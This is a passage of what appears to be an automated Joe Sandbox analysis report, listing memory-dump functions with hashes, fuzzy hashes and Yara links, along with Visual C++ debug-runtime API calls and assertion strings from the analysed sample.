Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: 1a06ac0f21d138624e1ea57931b0100cefab037763178a8dce057a2d8b2458ec
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: F971D473A30B258B8714DEB98D94192F2F1EF84610B57C27CCE84D7B45EB31B95A96C0

Function 022D59F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 1f6cc412a3171efc3971d84208db4244cab9446cc9efea409612ccf95507745f
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: 0A8137B2A047019FC328CF19D88566AF7E1FFD8214F15892DE99E83B41D770F8558B92

Function 022D8E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: 7f5713ee7a85fbfc3254cebad10634fb96c78f50e4e0bf7860016d533a65c726
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: B4710622535B7A0AEBC3DA3D881046BF7D0BE4910AB850956DCD0F3181D72EDE4E77A4

Function 022DA699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: 031299e725864bb3d2fdb22683a9ff2d6922cb36cdcb7525bb84e0f101ca8006
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: A4814975A20B669BD754CF6ED8C089AFBF1FB08210B518A2ADCA583B40D334F565CF94

Function 022D9120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: 036dbe2d736a0ffa35a46e144b67b3e71c828261b29ab153b3aae09f48a31ed0
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: 6061A3339046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Function 022D7A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 7d5852bd28021d24344363f5f324b99f4c00864266b1c10d158d0ae884ac07b5
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: B1617C3791262B9BD761DF59D84527AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Function 022D7880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: 2a9570f61c80a216b85eff5422b02bb16bbe8075eb7eddd907d0bf911c320ef4
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: C151DC229257B945EBC3DA3D88504AEBBE0BE49106B860557DCD0B3181C72EDE4DB7E4

Function 022D7220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Function 006A471C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035582084.00000000006A3000.00000040.00000020.00020000.00000000.sdmp, Offset: 006A3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a3000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: a4ef3cc94cd25cc136e368b2254da6e8bc18d8e1ebeb720546d39ce328f7309f
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: F53158358062C19FCB15DE70EC90AB5BB72EFC7325F1885DDC0818B106DB65A847CB94

Function 022D70E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Function 022D7393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: b11a4d9c38ad72a0a825375d7490832517c59c77046508f41fc6718f8bb78091
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: 463114305283419FD741EF69C480A4BF7E1FFC8258F41DA19F9889B225D734E984CA62

Function 022F18D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: a657094622e015b337f9c8c84b66228f57c3f061eabd2d81bb8c2037941de1ba
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: F4113F772200C3C3D7B886EDD4B45B6E395DBC511879C5279DB4A4B65CD322D1619980

Function 022DB000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 7438d94aa4974a7b737b8ce2eb86286c413d851aa4c6fff93f87a48d492cacba
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: 60114F0A8492C4BDCF424A7840E56EBFFA58E3B218F8A71DAC8C44B743D01B150FE7A1

Function 022D0042 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 35045d03941bce49e20e43db89bb3ca96b1d22343ee6ab31161501acd39ae3aa
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: AD118272350100AFD754DFA5DC90FA673EAEB88321B598155ED08CB325D675ED01C760

Function 022DA79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22d0000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: bf5ef1b0d5bea15f675ade8dc7b975155999efaf93c527de9ee63c49b2463e5b
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: E8012C768106629BD700DF3EC8C045AFBF1BB082117528B26DC9083A41D334E562DBE4

Function 0041538E Relevance: 108.9, APIs: 40, Strings: 22, Instructions: 431COMMON

Download Yara Rule

APIs

InterlockedIncrement.KERNEL32(004B9E90), ref: 00415393
__invoke_watson_if_error.LIBCMTD ref: 004153D2
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 004153DF
OutputDebugStringA.KERNEL32(004050D4), ref: 00415407
OutputDebugStringA.KERNEL32(, Line ), ref: 00415412
OutputDebugStringA.KERNEL32(?), ref: 0041541F
OutputDebugStringA.KERNEL32(004050C8), ref: 0041542A
_wcscat_s.LIBCMTD ref: 004155EA

Part of subcall function 00416E20: __errno.LIBCMTD ref: 00416E74
Part of subcall function 00416E20: __invalid_parameter.LIBCMTD ref: 00416E92

__invoke_watson_if_error.LIBCMTD ref: 004155F3

Part of subcall function 0040D670: __invoke_watson.LIBCMTD ref: 0040D691

_wcscat_s.LIBCMTD ref: 00415622

Part of subcall function 00416E20: _memset.LIBCMT ref: 00416EFB
Part of subcall function 00416E20: __errno.LIBCMTD ref: 00416F39
Part of subcall function 00416E20: __invalid_parameter.LIBCMTD ref: 00416F57

__invoke_watson_if_error.LIBCMTD ref: 0041562B
__errno.LIBCMTD ref: 00415647
__errno.LIBCMTD ref: 00415654
__errno.LIBCMTD ref: 004156B5
__invoke_watson_if_oneof.LIBCMTD ref: 004156BD
__errno.LIBCMTD ref: 004156C5
_wcscpy_s.LIBCMTD ref: 00415702
__invoke_watson_if_error.LIBCMTD ref: 0041570B
__cftoe.LIBCMTD ref: 0041577F
__invoke_watson_if_oneof.LIBCMTD ref: 004157AE
_wcscpy_s.LIBCMTD ref: 004157E6
__invoke_watson_if_error.LIBCMTD ref: 004157EF
__itow_s.LIBCMTD ref: 004153C9

Part of subcall function 0041BA90: _xtow_s@20.LIBCMTD ref: 0041BABB

__errno.LIBCMTD ref: 00415458
__errno.LIBCMTD ref: 00415465
__strftime_l.LIBCMTD ref: 00415489
__errno.LIBCMTD ref: 004154BA
__invoke_watson_if_oneof.LIBCMTD ref: 004154C2
__errno.LIBCMTD ref: 004154CA
_wcscpy_s.LIBCMTD ref: 00415507
__invoke_watson_if_error.LIBCMTD ref: 00415510
_wcscpy_s.LIBCMTD ref: 00415563
__invoke_watson_if_error.LIBCMTD ref: 0041556C
_wcscat_s.LIBCMTD ref: 0041559D
__invoke_watson_if_error.LIBCMTD ref: 004155A6

Strings

strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 004154F1
Assertion failed: , xrefs: 00415524
Second Chance Assertion Failed: File , xrefs: 004153DA
t8j, xrefs: 004157BD
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 004157D0
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 004153B2, 00415A28
<file unknown>, xrefs: 004153F6
, Line , xrefs: 0041540D
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 00415585
_CrtDbgReport: String too long or IO Error, xrefs: 004154F6, 004156F1
_VCrtDbgReportA, xrefs: 004153AD, 004154AC, 004154EC, 00415546, 00415580, 004155CF, 00415607, 004156A7, 004156E7, 00415799, 004157CB, 00415A23
t9j, xrefs: 00415A15
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 004153A8, 004154A7, 004154E7, 00415541, 0041557B, 004155CA, 00415602, 004156A2, 004156E2, 00415794, 004157C6, 00415A1E
Assertion failed!, xrefs: 00415530
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 0041554B
(*_errno()), xrefs: 004154B1, 004156AC
strcat_s(szLineMessage, 4096, "\n"), xrefs: 0041560C
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 004156EC
strcat_s(szLineMessage, 4096, "\r"), xrefs: 004155D4
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 004157D5
%s(%d) : %s, xrefs: 0041566E
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 0041579E

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno$__invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof_wcscat_s$__invalid_parameter$IncrementInterlocked__cftoe__invoke_watson__itow_s__strftime_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 3689284098-1614164922
Opcode ID: 188443d5fa5dc1b4f4259b9874687a62e7987272c27fb7cc7d9234a9c28b3e28
Instruction ID: 144d580f60a8390fe875b26c5f1b6f59d94ca24da80f8bea020e61139c367ef6
Opcode Fuzzy Hash: 188443d5fa5dc1b4f4259b9874687a62e7987272c27fb7cc7d9234a9c28b3e28
Instruction Fuzzy Hash: 420272B4A40718EADB20DB50CC4AFDF7779AB44705F1441AAB6087A2C1D7B89AC4CF99

Function 00411E56 Relevance: 70.2, APIs: 17, Strings: 23, Instructions: 220COMMON

Download Yara Rule

APIs

_wcscpy_s.LIBCMTD ref: 00411E7D

Part of subcall function 0040D1C0: __errno.LIBCMTD ref: 0040D214
Part of subcall function 0040D1C0: __invalid_parameter.LIBCMTD ref: 0040D232

__invoke_watson_if_error.LIBCMTD ref: 00411E86
_strlen.LIBCMT ref: 00411E9B
_strlen.LIBCMT ref: 00411EAC
_memcpy_s.LIBCMTD ref: 00411EF4
__invoke_watson_if_error.LIBCMTD ref: 00411EFD

Part of subcall function 0040D670: __invoke_watson.LIBCMTD ref: 0040D691

_strlen.LIBCMT ref: 00411F0F
_strlen.LIBCMT ref: 00411F20
__errno.LIBCMTD ref: 00411F32
__errno.LIBCMTD ref: 00411F3F

Strings

L?@, xrefs: 004120DA, 004120E0
Microsoft Visual C++ Debug Library, xrefs: 004121A6
strcpy_s(szExeName, 260, "<program name unknown>"), xrefs: 00411E67
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 00412105
i?@, xrefs: 004120A9, 004120AF
__crtMessageWindowA, xrefs: 00411E62, 00411ECA, 00412138, 00412175
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 00411E5D, 00411EC5, 00412133, 00412170
i?@, xrefs: 004120C5, 004120CB
_CrtDbgReport: String too long or IO Error, xrefs: 0041217F
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts., xrefs: 00411F50
Expression: , xrefs: 00411F95
memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3), xrefs: 00411ECF
(*_errno()), xrefs: 0041213D
i?@, xrefs: 004120D3, 004120D9
T?@, xrefs: 004120CC, 004120D2
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0041217A
Module: , xrefs: 00412093
File: , xrefs: 00412023
<program name unknown>, xrefs: 00411E6C
..., xrefs: 00411EDC, 00412077, 004120EE
i?@, xrefs: 004120B7, 004120BD
Line: , xrefs: 00411FEC
i?@, xrefs: 004120EF, 004120F5, 00412104

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: _strlen$__errno$__invoke_watson_if_error$__invalid_parameter__invoke_watson_memcpy_s_wcscpy_s
String ID: For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts.$File: $Line: $Module: $(*_errno())$...$<program name unknown>$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Expression: $L?@$Microsoft Visual C++ Debug Library$T?@$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$i?@$i?@$i?@$i?@$i?@$memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)$strcpy_s(szExeName, 260, "<program name unknown>")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1303265743-2962792379
Opcode ID: 2695a1ebb0931480af8dd1c4f55d0f8bc6fb27ac9b5790b18674e207faced83b
Instruction ID: 6aa8f91592038741b18ea52c2f9016ed7bf410a06c91ba542deaec31b120e19f
Opcode Fuzzy Hash: 2695a1ebb0931480af8dd1c4f55d0f8bc6fb27ac9b5790b18674e207faced83b
Instruction Fuzzy Hash: ED919EB4E00208ABDB24DF50CC46BEA7775AB48704F1081ABF709762C1D7B89AD5CF99

Function 0041BF03 Relevance: 42.3, APIs: 28, Instructions: 296COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0041BF36
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041BF4B
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041BF81
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041BFA2
wcsncnt.LIBCMTD ref: 0041BFD9
WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0041C00A
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041C03F
_wcslen.LIBCMTD ref: 0041C24F
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041C25D

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$ByteCharMultiWide__errno_wcslenwcsncnt
String ID:
API String ID: 4157245263-0
Opcode ID: 4e34f946717c2d039dd933a8c02d50df634c48a3c9bbbd8201278d0dc7c6a10b
Instruction ID: 1127f2e3a5438891fa387761ae4e0dac04f3c0332dc547575b3a9667108252ee
Opcode Fuzzy Hash: 4e34f946717c2d039dd933a8c02d50df634c48a3c9bbbd8201278d0dc7c6a10b
Instruction Fuzzy Hash: 7ED10775A40208DFCB04DF94D895BEEB771BF45304F20829AE412AB291D778AE85DF58

Function 00412050 Relevance: 42.1, APIs: 7, Strings: 17, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 00412146
__invoke_watson_if_oneof.LIBCMTD ref: 0041214E
__errno.LIBCMTD ref: 00412156
_wcscpy_s.LIBCMTD ref: 00412190
__invoke_watson_if_error.LIBCMTD ref: 00412199
___crtMessageBoxW.LIBCMTD ref: 004121B2
_raise.LIBCMTD ref: 004121CB

Strings

L?@, xrefs: 004120DA, 004120E0
Microsoft Visual C++ Debug Library, xrefs: 004121A6
Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application), xrefs: 00412105
i?@, xrefs: 004120A9, 004120AF
__crtMessageWindowA, xrefs: 00412138, 00412175
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c, xrefs: 00412133, 00412170
i?@, xrefs: 004120C5, 004120CB
_CrtDbgReport: String too long or IO Error, xrefs: 0041217F
(*_errno()), xrefs: 0041213D
i?@, xrefs: 00412065
i?@, xrefs: 004120D3, 004120D9
T?@, xrefs: 004120CC, 004120D2
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 0041217A
Module: , xrefs: 00412093
..., xrefs: 00412077, 004120EE
i?@, xrefs: 004120B7, 004120BD
i?@, xrefs: 004120EF, 004120F5, 00412104

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno$Message___crt__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$L?@$Microsoft Visual C++ Debug Library$T?@$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$i?@$i?@$i?@$i?@$i?@$i?@$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 2974351053-2296108322
Opcode ID: e3037532448ff5c5beee0b43455299bca4f79b7b22adf81feae2b14dd71d5c9a
Instruction ID: 3bcf3f017d56cd787a71e6b295466cf7946acaea322866abb587449db995ea13
